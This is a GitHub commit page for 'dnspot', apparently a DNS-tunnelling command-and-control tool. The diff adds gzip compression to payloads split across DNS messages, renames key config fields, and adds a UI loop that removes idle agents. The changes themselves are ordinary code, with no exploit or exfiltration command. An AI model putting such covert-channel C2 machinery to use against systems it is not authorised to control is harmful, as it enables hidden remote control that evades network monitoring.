Skip to content

Commit

Permalink
compression
Browse files Browse the repository at this point in the history
  • Loading branch information
mosajjal committed Feb 7, 2022
1 parent b63f5eb commit 54df2db
Show file tree
Hide file tree
Showing 3 changed files with 62 additions and 17 deletions.
21 changes: 21 additions & 0 deletions c2/msg.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@ package c2

import (
"bytes"
"compress/gzip"
"errors"
"math/rand"
"sort"
Expand All @@ -10,6 +11,7 @@ import (

"github.com/lunixbochs/struc"
"github.com/miekg/dns"
"github.com/mosajjal/dnspot/conf"
"github.com/mosajjal/dnspot/cryptography"
)

Expand Down Expand Up @@ -96,8 +98,27 @@ func split(buf []byte, lim int) [][]byte {
return chunks
}

// Gets a big payload that needs to be sent over the wire, chops it up into smaller limbs and creates a list of messages to be sent. It also sends the parentPartID to make sure the series
// of messages are not lost
func PreparePartitionedPayload(msg MessagePacket, payload []byte, dnsSuffix string, privateKey *cryptography.PrivateKey, serverPublicKey *cryptography.PublicKey) ([]string, uint16, error) {
// TODO: fix duplicate sending

// handle compression
if len(payload) > conf.CompressionThreshold {
var b bytes.Buffer
gz, _ := gzip.NewWriterLevel(&b, gzip.BestCompression)
if _, err := gz.Write(payload); err != nil {
panic(err)
}
if err := gz.Flush(); err != nil {
panic(err)
}
if err := gz.Close(); err != nil {
panic(err)
}
payload = b.Bytes()
}

var err error
var response []string
var parentPartID uint16 = 0
Expand Down
38 changes: 21 additions & 17 deletions conf/conf.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,27 +6,31 @@ import (
"github.com/mosajjal/dnspot/cryptography"
)

const (
CompressionThreshold = 1024 * 2 // 2KB
)

var GlobalServerConfig struct {
LogFile string
LogLevel uint8
PrivateKeyB32 string
PrivateKey *cryptography.PrivateKey
ListenAddress string
EnforceClientKeys bool
AcceptedClientKeysB32 []string
AcceptedClientKeys *[]cryptography.PublicKey
DnsSuffix string
LogFile string
LogLevel uint8
PrivateKeyBasexx string
PrivateKey *cryptography.PrivateKey
ListenAddress string
EnforceClientKeys bool
AcceptedClientKeysBasexx []string
AcceptedClientKeys *[]cryptography.PublicKey
DnsSuffix string
}

var GlobalAgentConfig struct {
CommandTimeout time.Duration
LogLevel uint8
PrivateKeyB32 string
PrivateKey *cryptography.PrivateKey
ServerAddress string
ServerPublicKeyB32 string
ServerPublicKey *cryptography.PublicKey
DnsSuffix string
CommandTimeout time.Duration
LogLevel uint8
PrivateKeyBasexx string
PrivateKey *cryptography.PrivateKey
ServerAddress string
ServerPublicKeyBasexx string
ServerPublicKey *cryptography.PublicKey
DnsSuffix string
}

type Runmode uint8
Expand Down
20 changes: 20 additions & 0 deletions server/ui.go → server/tui.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@ package server

import (
"fmt"
"time"

"github.com/mosajjal/dnspot/cryptography"
"github.com/rivo/tview"
Expand All @@ -25,6 +26,21 @@ var UiLog = tview.NewTextView()

var UiRoot = tview.NewApplication()

func uiUpdater() {
timeticker := time.NewTicker(1 * time.Second)
idleAgentRemovalTicker := time.NewTicker(60 * time.Second)
// runCmdTicker := time.NewTicker(30 * time.Second)
for {
select {
case <-timeticker.C:
UiRoot.Draw()

case <-idleAgentRemovalTicker.C:
RemoveIdleAgents()
}
}
}

func RunTui() {
UiAgentList.SetTitle("Agents").SetBorder(true)
UiCmd.SetTitle("Command").SetBorder(true)
Expand Down Expand Up @@ -53,7 +69,11 @@ func RunTui() {
AddItem(UiLog, 0, 1, 1, 1, 0, 100, false).
AddItem(UiCmd, 1, 0, 1, 2, 0, 100, true)

// refresh UI and remove idle nodes as a goroutine
go uiUpdater()

if err := UiRoot.SetRoot(grid, true).SetFocus(grid).EnableMouse(true).Run(); err != nil {
panic(err)
}

}

0 comments on commit 54df2db

Please sign in to comment.